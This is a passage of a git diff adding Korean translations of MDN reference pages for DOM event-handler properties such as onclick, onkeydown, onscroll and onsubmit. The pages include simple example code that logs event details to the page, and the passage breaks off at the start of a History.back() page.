+   <td>{{SpecName("HTML5.1")}} 최신 스냅샷 이후에 변경 사항 없음.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', '#globaleventhandlers', 'GlobalEventHandlers')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>{{SpecName("HTML WHATWG")}} 의 스냅샷. {{SpecName("HTML5 W3C")}} 스냅샷 이후에 <code>onsort</code> 가 추가되었음.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "#globaleventhandlers", "GlobalEventHandlers")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>{{SpecName("HTML WHATWG")}} 의 스냅샷. <code>GlobalEventHandlers</code> 생성(그 전 타겟에 있던 속성들)</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.GlobalEventHandlers")}}</p>
+</div>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li>{{domxref("Element")}}</li>
+ <li>{{domxref("EventHandler")}}</li>
+ <li>{{domxref("Event")}}</li>
+</ul>
diff --git a/files/ko/web/api/globaleventhandlers/onchange/index.html b/files/ko/web/api/globaleventhandlers/onchange/index.html
new file mode 100644
index 0000000000..bbefe1251d
--- /dev/null
+++ b/files/ko/web/api/globaleventhandlers/onchange/index.html
@@ -0,0 +1,73 @@
+---
+title: GlobalEventHandlers.onchange
+slug: Web/API/GlobalEventHandlers/onchange
+tags:
+  - API
+  - GlobalEventHandlers
+  - HTML DOM
+  - Property
+  - Reference
+translation_of: Web/API/GlobalEventHandlers/onchange
+---
+<div>
+<div>{{ ApiRef("HTML DOM") }}</div>
+</div>
+
+<p><strong><code>onchange</code></strong> 속성은 {{event("change")}} 이벤트의 이벤트 핸들러를 설정하고 반환합니다.</p>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="syntaxbox"><em><var>target</var></em>.onchange = <em>functionRef</em>;
+</pre>
+
+<p><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">functionRef</span></font>는 <code>null</code> 또는 이벤트 핸들러를 지정하는 <a href="/en-US/docs/Web/JavaScript/Reference/Functions" title="/en-US/docs/JavaScript/Reference/Functions_and_function_scope">JavaScript function</a> 함수 중 하나여야 합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html"><code>&lt;input type="text" placeholder="Type something here, then click outside of the field." size="50"&gt;
+&lt;p id="log"&gt;&lt;/p&gt;</code></pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js"><code>let input = document.querySelector('input');
+let log = document.getElementById('log');
+
+input.onchange = handleChange;
+
+function handleChange(e) {
+  log.textContent = `The field's value is
+      ${e.target.value.length} character(s) long.`;
+}</code></pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제")}}</p>
+
+<h2 id="Specification" name="Specification">명세</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">비고</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','webappapis.html#handler-onchange','onchange')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("api.GlobalEventHandlers.onchange")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{event("change")}} 이벤트</li>
+</ul>
diff --git a/files/ko/web/api/globaleventhandlers/onclick/index.html b/files/ko/web/api/globaleventhandlers/onclick/index.html
new file mode 100644
index 0000000000..9b655c0421
--- /dev/null
+++ b/files/ko/web/api/globaleventhandlers/onclick/index.html
@@ -0,0 +1,89 @@
+---
+title: GlobalEventHandlers.onclick
+slug: Web/API/GlobalEventHandlers/onclick
+tags:
+  - API
+  - Event Handler
+  - HTML DOM
+  - Property
+  - Reference
+translation_of: Web/API/GlobalEventHandlers/onclick
+---
+<div>{{apiref("HTML DOM")}}</div>
+
+<p>{{domxref("GlobalEventHandlers")}} 믹스인<sup>mixin</sup>의 <code><strong>onclick</strong></code> 속성은 주어진 요소의 {{event("click")}} 이벤트를 처리하기 위한 {{domxref("EventHandler")}}입니다.</p>
+
+<p><code>click</code> 이벤트는 사용자가 요소를 클릭할 때 {{event("mousedown")}}과 {{event("mouseup")}} 다음으로 발동합니다.</p>
+
+<div class="note"><strong>참고:</strong> <code>click</code> 이벤트에 행동을 붙일 땐, 마우스나 터치 스크린을 사용하지 않는 사용자도 그 행동을 할 수 있도록 {{event("keydown")}}이벤트에도 똑같이 적용하는걸 고려해보세요.</div>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="syntaxbox">target.onclick = <var>functionRef</var>;
+</pre>
+
+<h3 id="값">값</h3>
+
+<p><code>functionRef</code>는 함수 이름이거나 <a href="/ko/docs/Web/JavaScript/Reference/Operators/function">함수 표현식</a>으로, 유일한 매개변수로 {{domxref("MouseEvent")}} 객체를 받습니다. 함수 내에서 {{jsxref("Operators/this", "this")}}는 이벤트가 발동한 요소를 가리킵니다.</p>
+
+<p>하나의 객체에는 하나의 <code>onclick</code> 처리기만 할당할 수 있습니다. 더 유연한{{domxref("EventTarget.addEventListener()")}} 메서드를 선호하는 편이 좋을 수도 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제는 클릭 위치를 기록합니다.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;Click anywhere in this example.&lt;/p&gt;
+&lt;p id="log"&gt;&lt;/p&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">let log = document.getElementById('log');
+
+document.onclick = inputChange;
+
+function inputChange(e) {
+  log.textContent = `Position: (${e.clientX}, ${e.clientY})`;
+}</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제")}}</p>
+
+<h2 id="Specification" name="Specification">명세</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','webappapis.html#handler-onclick','onclick')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.GlobalEventHandlers.onclick")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{event("click")}} 이벤트</li>
+ <li>관련 이벤트 처리기
+  <ul>
+   <li>{{domxref("GlobalEventHandlers.onauxclick")}}</li>
+   <li>{{domxref("GlobalEventHandlers.ondblclick")}}</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/ko/web/api/globaleventhandlers/oncontextmenu/index.html b/files/ko/web/api/globaleventhandlers/oncontextmenu/index.html
new file mode 100644
index 0000000000..c13513c82e
--- /dev/null
+++ b/files/ko/web/api/globaleventhandlers/oncontextmenu/index.html
@@ -0,0 +1,103 @@
+---
+title: GlobalEventHandlers.oncontextmenu
+slug: Web/API/GlobalEventHandlers/oncontextmenu
+translation_of: Web/API/GlobalEventHandlers/oncontextmenu
+---
+<div>{{ ApiRef("HTML DOM") }}</div>
+
+<p>윈도우에서 마우스 오른쪽 클릭시 발생하는 이벤트 이벤트 핸들러 속성 입니다. 기본동작을 막지 않는 한 (아래의 예제를 참조하세요), 브라우저의 컨텍스트 메뉴가 활성화됩니다. (그러나 IE8는 이것과 관련된 버그가 있어 contextmenu 가 정의 되어있다고 할지라도 활성화 되지 않습니다).  이 이벤트는 비활성화되지 않은(non-disabled) 오른쪽 클릭 이벤트와 함께 발생하며   <a href="http://hacks.mozilla.org/2011/11/html5-context-menus-in-firefox-screencast-and-code/" title="http://hacks.mozilla.org/2011/11/html5-context-menus-in-firefox-screencast-and-code/">"contextmenu" 속성</a> 을 가진 엘리먼트에는 달리지 않는다는 것을 유의하세요.</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">window.oncontextmenu = funcRef;
+//funcRef refers to the function to be called</pre>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<p>페이지상에서 오른쪽 클릭을 막는 예제들 입니다:</p>
+
+<pre class="brush:js;">document.oncontextmenu = function () { // Use document as opposed to window for IE8 compatibility
+   return false;
+};
+
+window.addEventListener('contextmenu', function (e) { // Not compatible with IE &lt; 9
+    e.preventDefault();
+}, false);
+</pre>
+
+<h2 id="Specifications" name="Specifications">Specifications</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','webappapis.html#handler-oncontextmenu','oncontextmenu')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility">Browser Compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ko/web/api/globaleventhandlers/ondblclick/index.html b/files/ko/web/api/globaleventhandlers/ondblclick/index.html
new file mode 100644
index 0000000000..7444c2c81b
--- /dev/null
+++ b/files/ko/web/api/globaleventhandlers/ondblclick/index.html
@@ -0,0 +1,70 @@
+---
+title: GlobalEventHandlers.ondblclick
+slug: Web/API/GlobalEventHandlers/ondblclick
+tags:
+  - API
+  - Event Handler
+  - HTML DOM
+  - Property
+  - Reference
+translation_of: Web/API/GlobalEventHandlers/ondblclick
+---
+<div>{{ApiRef("HTML DOM")}}</div>
+
+<p><code><strong>ondblclick</strong></code> property는 현재 요소(element)의 onDblClick 이벤트 핸들러 코드를 돌려줍니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate">element.ondblclick = function;
+</pre>
+
+<ul>
+ <li><code>function</code> 은 사용자 정의 함수이며, () 나 변수를 제외하고 생성할 수 있고 또는 아래와 같이 함수명을 선언하지 않고 생성할 수 있습니다.</li>
+</ul>
+
+<pre class="brush: js notranslate">element.ondblclick = function() { console.log("ondblclick event detected!"); };
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제는 더블클릭의 위치를 기록합니다.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;p&gt;Double click anywhere in this example.&lt;/p&gt;
+&lt;p id="log"&gt;&lt;/p&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js notranslate">let log = document.getElementById('log');
+
+document.ondblclick = logDoubleClick;
+
+function logDoubleClick(e) {
+  log.textContent = `Position: (${e.clientX}, ${e.clientY})`;
+}</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제")}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">비고</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','webappapis.html#handler-ondblclick','ondblclick')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{Compat("api.GlobalEventHandlers.ondblclick")}}</div>
diff --git a/files/ko/web/api/globaleventhandlers/onkeydown/index.html b/files/ko/web/api/globaleventhandlers/onkeydown/index.html
new file mode 100644
index 0000000000..d5f598104a
--- /dev/null
+++ b/files/ko/web/api/globaleventhandlers/onkeydown/index.html
@@ -0,0 +1,60 @@
+---
+title: GlobalEventHandlers.onkeydown
+slug: Web/API/GlobalEventHandlers/onkeydown
+tags:
+  - API
+  - HTML DOM
+  - NeedsContent
+  - NeedsExample
+translation_of: Web/API/GlobalEventHandlers/onkeydown
+---
+<div>{{ApiRef("HTML DOM")}}</div>
+
+<p><code><strong>onkeydown</strong></code> 속성은 현재 요소(element)의 <code>onKeyDown</code> 이벤트 핸들러 코드를 돌려줍니다</p>
+
+<pre class="syntaxbox">element.onkeydown = <var>event handling code</var></pre>
+
+<h2 id="Example">Example</h2>
+
+<p>This example logs the {{domxref("KeyboardEvent.code")}} value whenever you press down a key inside the {{HtmlElement("input")}} element.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre><code>&lt;input&gt;
+&lt;p id="log"&gt;&lt;/p&gt;</code></pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre><code>const input = document.querySelector('input');
+const log = document.getElementById('log');
+
+input.onkeydown = logKey;
+
+function logKey(e) {
+  log.textContent += ` ${e.code}`;
+}</code></pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample("Example")}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">비고</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','webappapis.html#handler-onkeydown','onkeydown')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("api.GlobalEventHandlers.onkeydown")}}</p>
diff --git a/files/ko/web/api/globaleventhandlers/onkeyup/index.html b/files/ko/web/api/globaleventhandlers/onkeyup/index.html
new file mode 100644
index 0000000000..7ba6e8c6b6
--- /dev/null
+++ b/files/ko/web/api/globaleventhandlers/onkeyup/index.html
@@ -0,0 +1,27 @@
+---
+title: GlobalEventHandlers.onkeyup
+slug: Web/API/GlobalEventHandlers/onkeyup
+translation_of: Web/API/GlobalEventHandlers/onkeyup
+---
+<div>{{ApiRef("HTML DOM")}}</div>
+
+<p><strong>onkeyup</strong> 속성은 현재 요소에서 onKeyUp 이벤트 핸들러를 반환합니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">element.onkeyup = <em>event handling code</em>
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js"> &lt;input type="text" onKeyUp="keyWasPressed(event)"&gt;
+ &lt;script&gt;function keyWasPressed(evt){ console.log(evt.keyCode) }&lt;/script&gt;
+</pre>
+
+<h2 id="참고">참고</h2>
+
+<p>keyup 이벤트는 사용자가 눌렀던 키를 놓을 때 발생합니다.</p>
+
+<h2 id="명세서">명세서</h2>
+
+<p>명세 내용이 없습니다.</p>
diff --git a/files/ko/web/api/globaleventhandlers/onpointerenter/index.html b/files/ko/web/api/globaleventhandlers/onpointerenter/index.html
new file mode 100644
index 0000000000..a9e0087ecc
--- /dev/null
+++ b/files/ko/web/api/globaleventhandlers/onpointerenter/index.html
@@ -0,0 +1,79 @@
+---
+title: GlobalEventHandlers.onpointerenter
+slug: Web/API/GlobalEventHandlers/onpointerenter
+translation_of: Web/API/GlobalEventHandlers/onpointerenter
+---
+<div>{{ApiRef("HTML DOM")}}</div>
+
+<p>{{domxref("GlobalEventHandlers")}} mixin의 <strong><code>onpointerenter</code></strong><em> </em>property는 {{event("pointerenter")}} 이벤트를 처리하는 {{domxref("EventHandler")}} 이다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox notranslate"><var>targetElement</var>.onpointerenter = <var>enterHandler</var>;
+
+var <var>enterHandler</var> = <var>targetElement</var>.onpointerenter;
+</pre>
+
+<h3 id="Value">Value</h3>
+
+<dl>
+ <dt><code>enterHandler</code></dt>
+ <dd>The <code>pointerenter</code> event handler for element <code>targetElement</code>.</dd>
+</dl>
+
+<h2 id="Example">Example</h2>
+
+<p>아래 예제는 element의 <code>pointerenter</code> 이벤트 핸들러를 설정하는 <code>onpointerenter</code> 의 2가지 사용법을 보여준다.</p>
+
+<pre class="brush: html notranslate">&lt;html&gt;
+&lt;script&gt;
+function enterHandler(ev) {
+  // pointerenter event처리
+}
+function init() {
+  let el = document.getElementById('target1');
+  el.onpointerenter = enterHandler;
+}
+&lt;/script&gt;
+
+&lt;body onload="init();"&gt;
+  &lt;div id="target1"&gt; Touch me ... &lt;/div&gt;
+  &lt;div id="target2" onpointerenter="enterHandler(event)"&gt; Touch me ... &lt;/div&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Pointer Events 2','#dom-globaleventhandlers-onpointerenter', 'onpointerenter')}}</td>
+   <td>{{Spec2('Pointer Events 2')}}</td>
+   <td>Non-stable version</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Pointer Events', '#widl-GlobalEventHandlers-onpointerenter', 'onpointerenter')}}</td>
+   <td>{{Spec2('Pointer Events')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.GlobalEventHandlers.onpointerenter")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/API/Document/pointerenter_event">Document: pointerenter</a></code> event</li>
+ <li><code><a href="/en-US/docs/Web/API/HTMLElement/pointerenter_event">HTMLElement: pointerenter</a></code> event</li>
+</ul>
diff --git a/files/ko/web/api/globaleventhandlers/onscroll/index.html b/files/ko/web/api/globaleventhandlers/onscroll/index.html
new file mode 100644
index 0000000000..1c32b77ee9
--- /dev/null
+++ b/files/ko/web/api/globaleventhandlers/onscroll/index.html
@@ -0,0 +1,98 @@
+---
+title: GlobalEventHandlers.onscroll
+slug: Web/API/GlobalEventHandlers/onscroll
+translation_of: Web/API/GlobalEventHandlers/onscroll
+---
+<div>{{ApiRef("HTML DOM")}}</div>
+
+<div>{{domxref("GlobalEventHandlers")}} 의 <strong><code>onscroll</code></strong> 이벤트는 {{domxref("EventHandler")}} 의 <code>scroll</code> 이벤트를 상속받았습니다.</div>
+
+<div></div>
+
+<div>document view 나  element 가 스크롤이 됬을 때 이벤트가  발생합니다.</div>
+
+<div></div>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> <code>onscroll</code> 과 {{domxref("GlobalEventHandlers.onwheel", "onwheel")}} 이벤트를 혼동하지 마세요. <code>onwheel</code> 보통 휠의 회전을 처리하고, <code>onscroll</code>은 객체의 내용의 스크롤을 처리합니다.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>target</em>.onscroll = <em>functionRef</em>;
+</pre>
+
+<h3 id="Value">Value</h3>
+
+<p><code>functionRef</code> 은(는) 함수 표현식 또는 함수 이름 이며, 이 객체는 오직 {{domxref("UIEvent")}} 객체만 인수로 받습니다.</p>
+
+<p>오직 하나의 <code>onscroll</code> 이벤트만 하나의 객체에 할당 할 수 있습니다.  <a href="https://developer.mozilla.org/ko/docs/Web/API/EventTarget/addEventListener" title="EventTarget의 addEventListener() 메서드는 지정한 이벤트가 대상에 전달될 때마다 호출할 함수를 설정합니다."><code>EventTarget.addEventListener()</code></a> 를 사용하여  <code><a href="https://developer.mozilla.org/ko/docs/Web/Reference/Events/scroll" rel="nofollow" title="/ko/docs/Web/Reference/Events/scroll">scroll</a></code> 이벤트를 정의 할 수 있습니다.</p>
+
+<h2 id="Example">Example</h2>
+
+<p>다음 예제는  {{HtmlElement("textarea")}}에 발생한 스크롤 이벤트 결과를 출력해 줍니다.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;textarea&gt;1 2 3 4 5 6 7 8 9&lt;/textarea&gt;
+&lt;p id="log"&gt;&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">textarea {
+  width: 4rem;
+  height: 8rem;
+  font-size: 3rem;
+}</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">const textarea = document.querySelector('textarea');
+const log = document.getElementById('log');
+
+textarea.onscroll = logScroll;
+
+function logScroll(e) {
+  log.textContent = `Scroll position: ${e.target.scrollTop}`;
+}</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample("Example", 700, 200)}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','#handler-onscroll','onscroll')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM3 Events", "#event-type-scroll", "onscroll")}}</td>
+   <td>{{Spec2("DOM3 Events")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.GlobalEventHandlers.onscroll")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Document/scroll_event">Document: <code>scroll</code> event</a></li>
+ <li><a href="/en-US/docs/Web/API/Element/scroll_event">Element: <code>scroll</code> event</a></li>
+</ul>
diff --git a/files/ko/web/api/globaleventhandlers/onsubmit/index.html b/files/ko/web/api/globaleventhandlers/onsubmit/index.html
new file mode 100644
index 0000000000..e8e72ac2e0
--- /dev/null
+++ b/files/ko/web/api/globaleventhandlers/onsubmit/index.html
@@ -0,0 +1,70 @@
+---
+title: GlobalEventHandlers.onsubmit
+slug: Web/API/GlobalEventHandlers/onsubmit
+tags:
+  - API
+  - HTML DOM
+  - 레퍼런스
+  - 속성
+translation_of: Web/API/GlobalEventHandlers/onsubmit
+---
+<div>{{ApiRef("HTML DOM")}}</div>
+
+<p> </p>
+
+<p>현재 창에서 폼을 제출하는 이벤트를 다루는 이벤트 핸들러</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="eval">window.onsubmit = <em>funcRef</em>;
+</pre>
+
+<h3 id="매개_변수">매개 변수</h3>
+
+<ul>
+ <li><code>funcRef</code> 는 함수를 참조하는 변수이다.</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<pre class="eval">&lt;html&gt;
+&lt;script&gt;
+function reg() {
+  window.captureEvents(Event.SUBMIT);
+  window.onsubmit = hit;
+}
+
+function hit() {
+  console.log('hit');
+}
+&lt;/script&gt;
+
+&lt;body onload="reg();"&gt;
+&lt;form&gt;
+  &lt;input type="submit" value="submit" /&gt;
+&lt;/form&gt;
+&lt;div id="d"&gt; &lt;/div&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="알아두기">알아두기</h2>
+
+<p>제출 이벤트는 사용자가 폼 내부에 있는 제출 버튼(<code>&lt;input type="submit"/&gt;</code>)을 눌렀을 때 발생한다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','webappapis.html#handler-onsubmit','onsubmit')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/api/globaleventhandlers/ontouchstart/index.html b/files/ko/web/api/globaleventhandlers/ontouchstart/index.html
new file mode 100644
index 0000000000..0017375993
--- /dev/null
+++ b/files/ko/web/api/globaleventhandlers/ontouchstart/index.html
@@ -0,0 +1,128 @@
+---
+title: GlobalEventHandlers.ontouchstart
+slug: Web/API/GlobalEventHandlers/ontouchstart
+translation_of: Web/API/GlobalEventHandlers/ontouchstart
+---
+<div>{{ApiRef("HTML DOM")}}</div>
+
+<p>{{event("touchstart")}} 이벤트를 위한 {{domxref("GlobalEventHandlers","global event handler")}}</p>
+
+<p>{{SeeCompatTable}}</p>
+
+<div class="note">
+<p><strong>Note:</strong> 이 요소는 아직 표준화 되지 <em>않은</em> 기술입니다. It is specified in the {{SpecName('Touch Events 2')}} {{Spec2('Touch Events 2')}} 명세에서 작성된 기술이며 {{SpecName('Touch Events')}} {{Spec2('Touch Events')}}에는 포함되어 있지 않습니다. 따라서 아직 대부분의 브라우저에서는 사용되지 않는 요소입니다.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">문법</h2>
+
+<pre class="eval">var startHandler = someElement.ontouchstart;
+</pre>
+
+<h3 id="Return_Value" name="Return_Value">반환 값</h3>
+
+<dl>
+ <dt><code>startHandler</code></dt>
+ <dd><code>someElement</code>를 위한 <em>touchstart</em> 이벤트 핸들러</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p>이 예제는 HTML 요소에 <em>touchstart</em> e이벤트 핸들러를 등록하기 위한 두 방법을 보여주고 있습니다.</p>
+
+<pre class="brush: js">&lt;html&gt;
+&lt;script&gt;
+function startTouch(ev) {
+ // 이벤트 내부
+}
+function init() {
+ var el=document.getElementById("target1");
+ el.ontouchstart = startTouch;
+}
+&lt;/script&gt;
+&lt;body onload="init();"&gt;
+&lt;div id="target1"&gt; 터치해주세요... &lt;/div&gt;
+&lt;div id="target2" ontouchstart="startTouch(event)"&gt; 터치해주세요... &lt;/div&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">현황</th>
+   <th scope="col">비고</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Touch Events 2','#widl-GlobalEventHandlers-ontouchstart')}}</td>
+   <td>{{Spec2('Touch Events 2')}}</td>
+   <td>Non-stable version.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="sect1"> </h2>
+
+<h2 id="더_보기">더 보기</h2>
+
+<ul>
+ <li>{{ event("touchstart") }}</li>
+</ul>
diff --git a/files/ko/web/api/history/back/index.html b/files/ko/web/api/history/back/index.html
new file mode 100644
index 0000000000..2b5ee8475a
--- /dev/null
+++ b/files/ko/web/api/history/back/index.html
@@ -0,0 +1,70 @@
+---
+title: History.back()
+slug: Web/API/History/back
+tags:
+  - API
+  - HTML DOM
+  - History
+  - History API
+  - Method
+  - Reference
+  - Web
+translation_of: Web/API/History/back
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><span class="seoSummary"><strong><code>History.back()</code></strong> 메서드는 브라우저가 세션 기록의 바로 뒤 페이지로 이동하도록 지시합니다.</span> {{domxref("History.go", "history.go(-1)")}}와 같습니다. 이전 페이지가 없는 경우 아무것도 하지 않습니다.</p>
+
